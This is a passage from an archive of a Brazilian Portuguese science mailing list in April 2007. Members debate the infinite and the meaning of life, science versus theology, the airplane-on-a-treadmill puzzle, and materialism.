ou melhor, em busca de uma "FINalidade" que dê sentido à nossa vida.

Como disse B. Pascal: "O silêncio eterno dos espaços infinitos me
amedronta."

Abraços,
Manuel Bulcão



SUBJECT: Re: [ciencialist] Re: Termodinâmica e a seta do tempo
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 08:35

Jah percebi que o Bulcao adora os infinitos. :-) Lembro de mensagem
semelhante.

Nao sei se os humanos tem tanta facilidade para perceber a real
dimensao do infinito. Ateh acho estranho falar sobre ele. Acho que eh
um pouco dessa agorafobia. hehe

Ateh
Luis Brudna



On 4/5/07, Manuel Bulcão <manuelbulcao@uol.com.br> wrote:
> --- Em ciencialist@yahoogrupos.com.br, "rmtakata"
> Manuel: O que nos diferencia dos outros animais, penso eu (posso
> estar errado, provavelmente estou), é que somos capazes de pensar
> o "infinito" futuro e o "infinito" passado. Ora, diante do infinito,
> todas as grandezas finitas se anulam, se equivalem. Ante o pano de
> fundo do infinito, percebemo-nos como absolutamente irrelevantes,
> gratuitos e até como uma ilusão matemática (um infinitésimo de um
> infinitésimo).
>
> Por isso, devido a essa agorafobia que nos suscita a percepção do
> infinito, estamos sempre, conscientemente ou não, a cata de um "fim",
> ou melhor, em busca de uma "FINalidade" que dê sentido à nossa vida.
>
> Como disse B. Pascal: "O silêncio eterno dos espaços infinitos me
> amedronta."
>
> Abraços,
> Manuel Bulcão
>


SUBJECT: Re: Termodinâmica e a seta do tempo
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 10:30

Salve, Brudna!

Senti-me muito lisonjeado com a sua resposta. Afinal, a última vez em
que você remeteu uma mensagem parecida com esta última - com mais de
cinco linhas - para a C-List (a lista em que vc é o manda-chuva-mor)
foi em 1999, se não me engano.

Espero que vc continue assim: prolixo.

Brudna: Nao sei se os humanos tem tanta facilidade para perceber a
real dimensao do infinito...

Manuel: Até a eclosão da revolução industrial na Inglaterra, a
esmagadora maioria das pessoas nasciam e se desenvolviam no seio de
uma comunidade cristã, judaica, muçulmana, hindú, budista, taoísta,
xintoísta, animista etc.

De modo que, "pari passu" ao desenvolvimento do sistema nervoso e à
medida em que surgiam as pertuntas, as respostas já estavam prontas.
Ora, as impressões que tais respostas religiosas deixam num sistema
nervoso imaturo e em desenvolvimento é, sem sombra de dúvidas,
decisivo.

Como esses sistemas de crença, incutidos já na primeira infância e ao
tempo em que as indagações vão surgindo, conferem à vida do indivíduo
uma razão-de-ser, um sentido, um horizonte, uma (FIM)nalidade, em
conseqüência disso as pessoas, em regra, não percebiam com
facilidade "a real dimensão do infinito".

As coisas são diferentes numa sociedade industrial madura, com Estado
laico consolidado, pluralista há mais de um século e em que a liberal-
democracia, longe de ser novidade, é tradição.

Nesse novo contexto, é natural que, da educação moral recebida dos
pais e da escola, o que mais se fixe na memória sejam os preceitos
mais gerais, como "liberté, égalité, fraternité". Significa dizer que
a comunidade laica "tende" a incutar nos indivíduos em formação
apenas as regras atinentes à "moral de convivência", deixando à livre
decisão individual a escolha dos valores que dizem respeito à moral
(ou ética) da finalidade.

São esses indivíduos, "atomizados", que cedo ou tarde estarão frente
a frente com o infinito e, a partir desse contacto, terão que
desenvolver a sua própria ética dos fins últimos.

Bem, tenho outras coisas para dizer, mas fiquei com preguiça. Fica
para amanhã.

Abraços,
Manuel Bulcão



SUBJECT: P/ Manuel - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 12:59

Olá Manuel

Não há como tentar contestar um escritor de seu calibre, e com sua
erudição, em mensagens curtas e rápidas, então terá de ser do modo
doloroso, longas e complexas mensagens, que podem entediar os
co-listeiros..:-)

E como o assunto tem algo grau de "off-topic", eu gostaria de
continuar em PVT, se você concordar. Evitaríamos de encher a lista de
elocubrações metafisicas.:-)

É um assunto que me interessa, e sua opinião é importante e penso
sempre bem embasada, embora eu discorde de uma parte de suas conclusões.

Por favor, me avise se concordar em continuar em PVT, sim?

Um grande abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
<manuelbulcao@...> escreveu
>
> Oi
>
> JC: "De fato, não há nenhum conflito entre Ciência, Filosofia e
> Teologia, pois cada uma trata de uma coisa que não tem nenhuma relação
> causal com a outra."
>
> MB: O problema é que, assim como não há uma linha "precisa"
> demarcando a vida da morte ou o que é vivo do que não é, do mesmo
> modo a fronteira que separa a ciência da filosofia não é uma linha,
> mas uma "zona", um claro-escuro, uma região nem preta nem branca, mas
> cinzenta - uma terra de ninguém ou de todos.
>
> HM: Mas o problema me parece sempre ser causado pela ilegítima
> invasão da teologia na área da ciência, do que o contrário. Nunca vi
> um estudo destinado a invalidar ou analisar uma afirmação teológica,
> a não ser quando está faz referências a aspectos físicos e materiais.
>
> MB: Tais estudos existem, de montão. Estou vendo, agora, nas
> prateleiras das minhas estantes, dois deles: "O Capelão do Diabo", de
> R. Dawkins (livro excelente de um escritor maravilhoso) e "A Perigosa
> Idéia de Darwin", de D. Dennett (um dos meus filósofos preferidos).
> Não são poucos os cientistas e diletantes da ciência que tentam
> assassinar os deuses com a Navalha de Ockham, cortando-lhes a
> jugular. Até que conseguem sangrar mortalmente alguns, como o urubu-
> totem entre outras divindades zoomórficas, quiméricas e
> antropomórficas. Não conseguem, porém, sequer arranhar o deus pensado
> por Anselmo, por Leibniz ou por Gödel.
>
> Muitos grandes cientistas e céticos cientificistas caem no ridículo
> ao comparar Deus com Papai Noel, Saci-Pererê, Caipora e que tais;
> como se a questão "eterna" e "perturbadora" da existência ou não de
> um propósito moral regendo o mundo - ou de uma "causa finalis" -
> fosse apenas uma curiosidade intelectual não mais intrigante que o
> problema que trata de xícaras de porcelana orbitando o Sol. Se fosse
> tão desimportante assim, não perderiam tanto tempo escrevendo
> calhamaços de 300, 400, 500 páginas.
>
> HM: Mas teologias parecem passar o tempo todo a desafiar a ciência,
> com "lacunas" de conhecimento que desejam chamar de deus (uma lacuna
> para chamar de sua, deveria ser o mote de todas as religiões..;-).
>
> MB: E que lacunas! - "A investigação científica das causas eficientes
> dos fenômenos naturais não pode avançar indefinidamente, tanto por
> razões práticas e também porque a própria ciência descobriu
> fronteiras absolutas do conhecimento. Com efeito, o que acontece nos
> marcos do espaço e do tempo de Planck jaz completamente submerso na
> incerteza quântica; a evolução dos sistemas dinâmicos complexos é, em
> médio prazo, imprevisível; e, neste universo em expansão acelerada,
> não se pode obter qualquer informação das regiões que se afastam de
> nós com rapidez maior que a velocidade da luz. Ora, não há razão para
> supor que os limites da ciência e do universo observável coincidem
> com os limites da realidade. Ademais, haja vista que o cérebro é
> produto dos mecanismos cegos da evolução (variação aleatória e
> seleção natural), consistindo, pois, numa engenhoca complexa, porém
> imperfeita, cheia de gambiarras, não é desarrazoado aventar que a
> razão objetiva apresenta aspectos que escapam ao poder de captação da
> razão subjetiva, humana. Sendo assim, além dos marcos da capacidade
> de predição do método científico pode ser que exista qualquer coisa
> inesperada, inclusive uma Causa Finalis manipulando, através das
> banais causas eficientes, toda a realidade. Ou até, quiçá, duas ou
> mais vontades divinas em conflito, de sorte que a 'aparente'
> initencionalidade dos processos naturais observáveis nada mais seja
> que a resultante ou vetor-soma dessas misteriosas forças intencionais
> antagônicas: Mazda e Ahriman."
>
> JC: "por fim, a Teologia é uma disciplina que trata de devaneios
> malucos sobre coisas estranhas de um universo fictício que só servem
> para justificar o dízimo pago pelos crentes."
>
> HM: Assino em baixo..:-) Mas tente convencer um religioso disso,
> tente convence-lo a manter sua teologia nesses termos..:-)
>
> MB: Sou mais ateu que todos vocês (o ateísmo é a minha "fé"), mas não
> subscrevo a pérola retórica do José Carlos. Pois vejo todos os dias
> matemáticos inteligentíssimos criando postulados arbitrários e,
> baseado neles, construirem universos contrafactuais com 30, 42, 367
> dimensões espaciais e meia dúzia ou mais de dimensões temporais
> (universos "racionais", matematicamente possíveis; chegam até a medir
> o seu grau de probabilidade).
>
> Também vejo físicos teóricos a calcularem com a precisão de 100 casas
> decimais a massa, o spin e outras propriedades de partículas que se
> sabe inexistentes, mas que "poderiam existir", como é o caso dos
> táquions.
>
> Ora, então por que não haveria de ter um ramo da filosofia - a
> teologia - ocupada com o "melhor dos mundos possíveis", mundo este em
> que o absurdo e o não-sentido, por mais que se manifeste, seja apenas
> aparente? O grande matemático Kurt Gödel se deleitou com esse
> assunto. Criou até um complexo silogismo - na linguagem lógico-
> matemática - em que conclui a existência real do "melhor dos mundos
> possíveis" em que não existe culpa sem castigo, dor sem compensação
> (um mundo regido por um propósito moral).
>
> Abraços,
> Manuel Bulcão
>




SUBJECT: Re: [ciencialist] P/ Manuel - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/04/2007 13:29

Olá Homero,

>
>E como o assunto tem algo grau de "off-topic", eu gostaria de
>continuar em PVT, se você concordar. Evitaríamos de encher a lista de
>elocubrações metafisicas.:-)
>

Eu não acho que seja tão "off-topic" assim! E muito menos que as últimas
discussões da lista! :-)
Eu gostaria de "assistir" este debate e, de repente, até participar...

[]´,s
Jeff.




SUBJECT: Re: [ciencialist] Re: Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/04/2007 13:36

Homero, observe que o avião está sobre uma esteira. Nesse caso, posso
considerar a esteira como chão, piso, pista... Luiz falou da velocidade
medida em relação a terra, chão, ar e esqueceu de que o avião está sobre uma
esteira. Os movimentos relativos impedem de eu saber se é o avião se desloca
sobre a pista-chão ou se é a pista-esteira se deslocando - na mesma
velocidade do avião - sob o avião.

Vc lembra como eram feitas as filmagens antigamente em que os protagonistas
ficavam em um carro ou diligência parada, sacolejando, e o cenário rodava
atrás dando a impressão de que o que se movimentava era o carro ou a
diligência. Lembra dos exemplos dados por Einstein sobre a relatividade dos
movimentos, cito um: todos de pé em um vagão de trem parado, quando o
cenários que aparecem na janela se movem com o som do trem partindo, as
pessoas instintivamente se inclinam como se fosse o trem que estivesse se
movimentando na partida...

Até o momento, apenas o Takata parece que percebeu essa possibilidade quando
afirmou "depende". Mas depois calou-se obsequiosamente.

[]s

José Renato
.................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, April 04, 2007 10:21 PM
Subject: [ciencialist] Re: Balanço do avião


Olá Jose Renato

Que teimosia..:-)

Renato: "que tem em seu enunciado uma relação importante: a velocidade
do avião é a mesma da esteira."

A mesma "em relação ao chão", e você se deixa enganar por isso todas
as vezes. O avião se move "para frente", pois não pode deixar de
faze-lo. Nesse momento em que o avião SE MOVE PARA FRENTE, a esteira
se move para trás, na mesma velocidade EM RELAÇÃO AO CHÃO. Em relação
ao avião ela se move no dobro da velocidade em relação ao chão, pois
este está SE MOVENDO para frente.

Entretanto, o movimento da esteira é IRRELEVANTE ao processo de
decolagem, pois não tem capacidade de aplicar força NENHUMA ao avião.

Assim, o avião se move em relação ao ar e DECOLA, não importa o que a
esteira faça.

É simples, e é claro, se não se deixar enganar pelo "red hering" da
esteira que se move para trás.

Homero


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Adeilson, esse é o começo, pode continuar aventando as
possibilidades do
> problema que tem em seu enunciado uma relação importante: a
velocidade do
> avião é a mesma da esteira.
> []s
> JR
> .......................................................
> From: "Adeilson Moreira Junior" <adeilsonmoreirajr@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, April 03, 2007 3:10 AM
> Subject: Re: [ciencialist] Balanço do avião
>
>
> >
> > Eu nao cheguei a acompanhar a discussao que me pareceu debandar
para a
> > briga. Porem, agora, resolvo meter meus "bedelhos". Se o aviao voa
ou nao,
> > independera da velocidade da correia, pois o que faz o aviao
levantar voo
> > é
> > a velocidade do ar sob suas asas que gerara a sustentacao no ar do
> > veiculo.
> > Quanto ao conceito, acho que estou correto, so nao sei se ha alguma
> > incongruencia com a situacao apresentada.
> >
> > Abracos,
> >
> > Adeilson Moreira Junior
> > ----- Original Message -----
> > From: "José Renato" <jrma@...>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Sunday, April 01, 2007 10:41 PM
> > Subject: [ciencialist] Balanço do avião
> >
> >
> > Será que numa próxima oportunidade, que voltar a discussão sobre o
> > problema
> > do avião se deslocando sobre uma esteira, as pessoas vão pensar
melhor a
> > questão ou vão continuar com as mesmas posições? No início havia
confusão
> > e
> > dúvidas. Depois que Luiz apresentou seu esquema, os indecisos se
> > convenceram
> > que voa, Victor e Ricardo entre eles. Takata concluiu que depende.
Luiz
> > ficou quieto. Victor e Ricardo calaram. Homero, não apegou-se a
uma das
> > opões e fechou-se aos argumentos que apresentei em relação a uma outra
> > opção, até que desistiu... E o problema se esvaiu sem maiores
conclusões
> > firmadas.
> > Qual seria o balanço das opiniões afinal?
> >
> > 1. Voa sim, com o dobro da velocidade da correia.
> >
> > 2. Voa sim, qualquer que seja a velocidade da correia
> >
> > 3. Não voa, qualquer que seja a velocidade da correia.
> >
> > 4. Voa ou não, dependendo do ponto de referência para a medição da
> > velocidade do avião: voa quando é medida em relação ao solo; não voa
> > quando
> > é medida em relação à correia.
> >
> > 5. Nenhuma das respostas acima. (Para quem escolher essa opção,
parece-me
> > importante indicar qual seria sua resposta.)
> >
> > Abraços
> >
> > José Renato
> >
> > [As partes desta mensagem que não continham texto foram removidas]
> >
> >
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SUBJECT: Re: [ciencialist] Re: Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/04/2007 13:41

Homero: [ Faça o que fizer a esteira, o avião decola *e pronto*. ]
...............................

Agora que vc deu todos os argumentos para o caso em que o avião decola, só
falta tirar os antolhos e considerar a medição da velocidade do avião em
relação à esteira.

[]s

JR
................................

From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, April 04, 2007 10:52 PM
Subject: [ciencialist] Re: Balanço do avião


Olá

Renato: "Terra, solo, pista... Faltou especificar a velocidade do
avião em relação à esteira, item importante que vc não mencionou na
resposta ao Adeilson.
[]s"

Ele não esqueceu, ele não mencionou porque é irrelevante, totalmente
irrelevante. É um "red hering", não entra na equação de forças
envolvidas na decolagem.

Está se deixando enganar pelo fato de que o avião tem "rodas", e em
sua cabeça, rodas servem para mover o avião, portanto, se a esteira
"rola para tras", deve impedir que o avião rode para frente. Mas não
impede. As rodas em um avião são equipamentos para "desligar" o avião
do solo (ou da esteira neste caso).

Faça o que fizer a esteira, o avião decola e pronto.

Homero




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13:09




SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 14:34

Olá Takata!

Takata >>> Vou negar porque eu não fugi, eu respondi

--- Não foi ai que vc fugiu, foi depois. Primeiro vc
respondeu: "Conhecimento é o entendimento a cerca das
coisas q estão à nossa volta, do mundo...". Então eu
lhe perguntei "O que é entendimento?". E foi ai que vc
fugiu. Olha, se vc não fugiu, desculpe meu mau
julgamento, mas fiquei com esta impressão. Mas enfim,
se vc não fugiu, eis aqui outra chance de responder:
"O que é entendimento?"

Takata >>> Quem está fungindo é vc. O que é
"conhecimento"?

--- Já te disse que não estou fugindo, e quem está me
julgando mau agora é vc. Eu te disse que se quiser
minha resposta vai ter que ter paciencia, pois a estou
contruindo consecutivamente no blog. Contudo, minha
resposta é minha resposta, e mesmo que dita a vc, são
apenas palavras. Assim, se vc precisar dela pra saber
o que é conhecimento, que tipo de conhecimento vc tem
ai? Enunciados decorados de livros e enciclopédias?

Takata >>> E tem outras q vc tb não respondeu: O que é
"apontar" e o que é "ver"?

--- Ok, vou responder estas duas. É claro que assim
que eu responder vc vai me fazer duas outras
perguntas, pois vc está usando o feitiço contra o
feiticeiro. Está no seu direito. Mas ai só mesmo lendo
no blog quando chegar a hora de responder o que é
"significante" e "significado". Mas vou responder esta
duas. Pode ser que vc honestamente queira saber e não
esteja apenas brincando de rei da ilha.


Apontar = significante
Ver = significado


sinceramente
ferrari



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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 14:45

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Não foi ai que vc fugiu, foi depois. Primeiro vc
> respondeu: "Conhecimento é o entendimento a cerca das
> coisas q estão à nossa volta, do mundo...". Então eu
> lhe perguntei "O que é entendimento?". E foi ai que vc
> fugiu.

Continua precisando de memoriol.

http://br.groups.yahoo.com/group/ciencialist/message/61928

> --- Já te disse que não estou fugindo, e quem está me
> julgando mau agora é vc.

E continuo julgando mal.

> --- Ok, vou responder estas duas. É claro que assim
> que eu responder vc vai me fazer duas outras
> perguntas, pois vc está usando o feitiço contra o
> feiticeiro.

Exato. Vc entendeu.

[]s,

Roberto Takata



SUBJECT: Abrindo a Carta do Materialismo
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 15:04

Olá Jeff!

Olá Lista! Olá Homero! (Homero! vc aqui? como será que
eu advinhei? eu sei. vc sabe?)

Jeff >>> Mas eu não quero ter vacas e nem porcos no
meu sítio! Não quero viver dele... Eu gostaria de ter
um sítio com uma parte de mata nativa, com um riacho,
gostaria de fazer uma pequena represa para criar umas
carpas, uns marrecos, umas tartarugas... gostaria de
fazer um jardim botânico com espécies exóticas, um
pomar e construir uma boa casa no meio. É isso :-)
Nada de plantações ou criações comerciais... Nada de
estresse... :-)

--- Criação e plantação dá trabalho de qualquer jeito,
mesmo que pouca, tem que cuidar. Quanto ao estresse
está mais ligado ao temperamento da pessoa do que ao
trabalho. Se a pessoa gosta da natureza mais bruta, e
do trabalho braçal, a rotina do sítio passa a ser
terapêutica.

Bom, voltando ao tópico...

Jeff >>> Ninguém precisa de semântica pra existir,
mas para se comunicar sim! :-)

--- É ai que começa a confusão. Por isto que aconselho
a não se prender na semântica. Se uma pessoa chama
deus de “mandioca” e outro de “aipim”, que diferença
faz? É impossível controlar a semântica que os outros
usam, contudo, a gente pode manter a cabeça aberta e
se tornar versátil em decodificar a semântica dos
outros pra nossa semântica particular. Quem faz isto
vira poliglota semântico e consegue conversar com
qualquer um.

--- Eu poderia usar aqui a semântica materialista.
(rs).... Não conta isto pra ninguém. Eu conheço a
semântica materialista. Não é possível fazer analogias
sem conhecer os dois universos que você pretende
relacionar. Numa vez anterior que estive aqui na
c-list, me empenhei primeiro em compreender a
semântica materialista. Na época, tinha um listeiro
muito inteligente e muito voluntarioso aqui, se
chamava “Sergio Taborda”. Enchi ele de perguntas sobre
“e=mc2”. Ficou claro pra mim a semântica materialista.
Me familiarizei com ela. Só não a uso atualmente
porque meu objetivo atual não é concordar com os
materialistas, mas sim o oposto.

--- Ao meu ver, os cientistas materialistas são como
carteiros. Eles levam a verdade na mão, mas como a
carta está fechada, não sabem o que tem dentro. Se
pego no pé deles é porque sei que é importante abrir a
carta. Se eles não abrem, é por medo de ver o que tem
dentro. Os cientistas materialistas não querem abrir a
carta com medo que deus esteja dentro. E ai, como é
que fica? Fica do jeito que sempre ficou. A realidade
não vai deixar de ser a realidade. Apenas caem algumas
máscaras e pronto. Mas a ação humana não é motivada
pela racionalidade, e sim pelo emocional, o desejo, o
medo, etc... Os cientistas materialistas tem medo.

--- Esta história de carteiro e medo me fez lembrar
uma musica do Roberto Carlos, acho que se chama “o
carteiro”. Conhece? Resumidamente a história da musica
é assim: um cara recebe uma carta da sua amada, mas
como ele não sabe se o que tem ali é uma declaração de
amor ou uma carta de despedida, o que ele faz? Ele não
abre a carta! Ele guarda a carta fechada. Assim são os
cientistas materialistas. Eles não querem abrir a
carta. A carta é a matéria, a energia, o tempo. E como
faz para abrir? Por que passa ano, entra ano e ninguém
consegue abrir? Porque primeiro é preciso abrir a si
mesmo: o ser humano. Primeiro é preciso compreender o
processo humano de decodificação da realidade, para
depois compreender o que é fruto deste processo: o
tempo.

--- Procure escutar esta musica, o carteiro, ela é uma
lição sobre o comportamento humano.

Jeff >>> Olha, temos uma teoria satisfatória, que é a
*evolução das espécies por
seleção natural*, o que causou, pelas diferenças dos
ambientes (sempre em transformação), todas as espécies
que temos hoje, inclusive nós: animais de
savana. Eis o que somos: um dos produtos de um sistema
caótico (bilhões de anos de seleção natural sem rumo
num planeta)

--- Satisfatória pra que? Pra apontar um fato.
Evolução não é teoria, é fato visível, qualquer um
pode ver. Vou fazer uma troca semântica aqui. Uma vez
que “espécies” está ligada a categoria, vou chamar
“espécie” de “forma” e o nome da teoria vai ficar
“evolução da forma”, ok?

--- Note uma coisa muito importante...
importantíssima:

---- A evolução da forma acende um luminoso de néon
sobre o fenômeno da evolução da forma, mas ela não
explica porque a forma evolui. Percebe isto?

--- Esta questão da evolução da forma só pode ser
compreendida ao mesmo tempo que se compreenda a
questão da evolução do tempo. Porém, a questão da
evolução do tempo é o oposto da questão materialista.
Eis porque a evolução nada explica, apenas acende um
luminoso. Eis porque Einstein, pra definir a relação
entre matéria e energia, não se prendeu ao
materialismo, mas foi direto na causa não-material: o
tempo. O tempo é o senhor da evolução material. Não é
a toa que tudo na matéria evolui e involui com o
tempo.

Jeff >>> Eu não sei se você não consegue entender que
não precisa mais nada além
disso ou não quer aceitar porque acha que assim "não
tem graça”.

--- Assim é incompleto. Só isto! Veja, o mapa da
relatividade não mandou o mapa de Newton pras cucuia
(conhece este termo, significa algo como: pro lixo). O
mapa da relatividade re-posicionou o mapa de Newton
dentro dele. No principio o mapa de Newton era
absoluto. Depois de Einstein, e a relatividade, ele
não desapareceu, apenas se tornou parte dentro de um
mapa maior, um mapa que o contém. Ao meu ver, este é o
inevitável destino do materialismo. A quântica, e tudo
que vem derivando dai, já sabe que o materialismo não
é o mapa todo, que é uma parte dentro de um mapa
maior. Este mapa maior é o tempo. A quântica chama o
tempo de possibilidade. O próximo upgrade da ciência
será a ciência do tempo. Mas para tanto precisa
primeiro abrir a cabeça dos cientistas que são os
responsáveis por tirar o conhecimento da cabeça de
deus e traze-los a cabeça dos seres humanos. E se não
for possível abrir a cabeça dos velhos cientista, pelo
menos, não deixar que estes fechem a cabeça dos novos.

Jeff >>> Entenda que não precisa existir um "controle
central", como um Deus... tudo parece controlado
porque tudo é selecionado naturalmente, entende?

--- E quem é este selecionador natural da forma? É o
tempo. E o que é o tempo? Eis a questão, não é? Pra
entender o tempo tem que entender a si mesmo, uma
coisa esta ligada a outra.

Jeff >>> Não é a camada de ozônio que existe "para"
nos proteger, nós é que existimos desta forma porque
ela existe, endente?

--- Entendo. Claro que entendo. Apenas não concordo.
Eu já disse ao Homero, eu entendo os materialistas.
São os materialistas que não me entendem. Nem querem
entender.

Jeff >>> Culturalmente somos induzidos a colocar as
coisas numa ordem que dá a impressão de que algo foi
colocado ali propositalmente, que tudo existe com um
objetivo.

--- Não é cultural não. É um fenômeno espontâneo e
inevitável do ato de pensar. O cérebro está sempre
pensando assim: Se isto, logo aquilo. É inevitável. E
o segredo, como sempre está ai: “no inevitável”.
Porque somos obrigados a pensar? Percebe isto? Pensar
é uma obrigação, não é uma opção, é uma obrigação. E é
uma obrigação que nos leva sempre a procurar a causa:
se isto, logo aquilo. Assim, procurar a causa não é
uma opção, é uma obrigação da qual não escapamos
nenhum instante se quer. Por exemplo, você acorda
procura os sapatos e não encontra, daí pensa: “se meus
sapatos não estão aqui, logo alguém pegou”. Você está
procurando a causa. Sempre estamos procurando as
causas, menores ou maiores. Como você vai dizer
abaixo, vem de fabrica. Einstein, por exemplo, pensou:
“se a observação muda o observado, logo existe ai uma
relação”. Eis a relatividade. Einstein não fez isto
porque ele quis, ele foi obrigado a fazer isto, foi
obrigado pelo inevitável ato de pensar. Uma vez que
você observa um fato, você cria um SE (se meus sapatos
sumiram). Uma vez que você cria um SE, o LOGO é
inevitável (logo alguém pegou meus sapatos). Você pode
se equivocar no seu LOGO, mas que ele é inevitável,
ele é. Sempre penso, logo, é inevitável. Descartes
devia ter “logado” isto também, seria útil.

Jeff >>> Tudo existe com um objetivo.

--- Suponho que com a palavra “objetivo” você esteja
querendo dizer “finalidade”. Ou seja, tudo existe com
uma finalidade. Porém, a palavra “finalidade” ainda
não ajuda a entender a questão, vamos troca-la por
“intenção”. Vai ficar assim: tudo existe com uma
intenção. Então, aplicando o formato “se isto, logo
aquilo”, chegamos a seguinte frase: SE tudo existe,
LOGO é conseqüência de uma intenção. Percebe que a
pergunta e a resposta são inevitáveis? SE tudo existe.
SE eu existo. Por existirmos, estamos constantemente
criando este pensamento SE. Por conseqüência surge um
LOGO. SE tudo existe, LOGO que intenção é esta?

--- A vida humana é correr atrás da resposta deste SE
eu existo. Não temos a opção de “não-correr” atrás de
um LOGO, somos obrigados a reconhecer nossa existência
e isto nos obriga a correr atrás de um LOGO. Isto é
básico em todo ser humano. Só divergimos na semântica
da resposta. Na semântica católica, por exemplo,
intenção = vontade de deus. Na semântica materialista,
intenção = caos. Na semântica quântica, intenção =
energia. Na semântica filosófica, intenção = ser. Na
semântica do ferrari, intenção = força que nunca seca.


--- SE tudo que acontece tem uma causa, LOGO o ato de
acontecer deve ter uma causa também. Ou seja, qual é o
objetivo do “acontecer”? Qual é a intenção da criação?
O pensamento está condenado a buscar uma resposta pra
isto, ele não tem opção. Porém, só o ser que cria o
“acontecer” pode saber a resposta “objetivamente”.
Pois quem tem a intenção original é ele. Cruel este
ser, não?

--- É por isto que para nós, o objetivo da existência
é subjetivo. Todo objetivo original só pertence ao
criador do objeto. Pois é dele a intenção original.
Para os usuários, todo objeto é subjetivo, ou seja,
tem sua finalidade de acordo com as intenções do
usuário (e não do criador do objeto). Por exemplo,
suponhamos que o inventor do objeto-panela inventou a
panela para a finalidade de cozinhar. Muito bem, um
usuário chamado “menino maluquinho”, descobriu para o
objeto de finalidade objetiva-cozinha, a finalidade
subjetiva-boné.

--- Analogamente, eis a vida humana. Já que
desconhecemos a finalidade-objetiva de existirmos,
então vamos postular finalidades subjetivas: jogar
futebol, rezar, brigar na lista de ciências, comer
caramujos com garfo, resolver problemas de matemática,
palitar os dentes, tocar guitarra na MTV, etc... No
meio desta confusão, até conseguimos esquecer da
pergunta. A Trinity diz algo assim ao Neo: “É a
pergunta Neo. É a pergunta que te faz caminhar. É a
pergunta que te trouxe até aqui. É a pergunta que vai
te levar até onde precisa chegar.” E como disse ao
Homero, não adianta fugir, nem mentir pra si mesmo:
você é a pergunta, como fugir de si mesmo? Eis a
esfinge falando conosco de instante em instante:
decifra-me ou devoro-te! Abre a carta ou te devoro!

Jeff >>> Mas, se você inverte a ordem, consegue
explicar sem precisar de nada controlando, saca?

--- Eis a teoria do caos. Caos não existe. O que o ser
humano chama de caos é desconhecimento. Ande pela casa
no escuro, é um caos. Acenda a luz, o caos acaba. A
realidade mudou? Não. Pra onde foi o caos que estava
ali? Pra lugar nenhum, ele nunca existiu, o que
existia era o desconhecimento. A falta de percepção. A
teoria do caos é apenas um “ad hoc” para poder
justificar o materialismo. O cosmos é cosmos, é ordem.
O caos é o desconhecimento do cosmos, o
desconhecimento da ordem, só isto.

Jeff >>> Então a verdade já vem "de fábrica" no nosso
inconsciente? "Deus" colocou
alí pra gente procurar?

--- Eis a graça do jogo. Você é obrigado a procurar,
mas o ato de procurar é o seu prazer. Uma vez dentro
de um jogo, somos obrigados a jogar, porém o ato de
jogar é o nosso prazer. Ser obrigado a pensar a
pergunta é entrar no jogo de procurar a resposta.

Jeff >>> Então a verdade já vem "de fábrica" no nosso
inconsciente?

---- Eis porque digo que a chave somos nós mesmos. Os
cientistas materialistas procuram em tudo quanto é
lugar, não é mesmo? Nos buracos negros, nos átomos!
Menos no lugar mais óbvio, em si mesmos. Tremenda
ironia de deus, não?

--- Me lembrei de uma parábola que descreve bem isto.
O cara está procurando a chave da casa na rua. Chega o
vizinho e pergunta: “você perdeu a chave por aqui,
posso ajudar?”. O cara responde: “eu perdi a chave lá
dentro de casa mesmo”. O vizinho pergunta: “então
porque está procurando a chave aqui na rua?”. E o cara
responde: “porque aqui está mais iluminado”. Ora, não
adianta ficar procurando as respostas da existência no
materialismo, só porque “aqui está mais iluminado”.
Tem que encarar a escuridão de frente. Mas quem não
tem medo do escuro? Do desconhecido? Do novo? Melhor
é ficar na zona de conforto, não é mesmo?

Jeff >>> Nem a ciência tem dono.

--- Diz isto pros cientista materialistas. Eu concordo
com você.

Jeff >>> Qualquer um que consegue raciocinar sem
faltar com a lógica faz ciência.

--- Também concordo.

Jeff >>> Não acho que você seja incapaz disso, mas
acho que você busca ter satisfação com suas
conclusões, o que implica em direcionar o raciocínio
dando "saltos lógico" e desconsiderando fatos.

--- Respeito sua opinião. Mas não concordo. Não é
saltos lógicos, é relações analógicas. E não
desconsidero fatos, apenas não os observo através de
um paradigma materialista.



sinceramente
ferrari




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SUBJECT: P/ Jeff - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 15:11

Olá Jeff

Jeff: "Eu não acho que seja tão "off-topic" assim! E muito menos que
as últimas discussões da lista! :-)
Eu gostaria de "assistir" este debate e, de repente, até participar..."

Será um prazer. Se o Manuel concordar em continuar o debate, vou
incluir seu email nas mensagens em PVT, e suas considerações serão
muito apreciadas.

Um grande abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
>
> Olá Homero,
>
> >
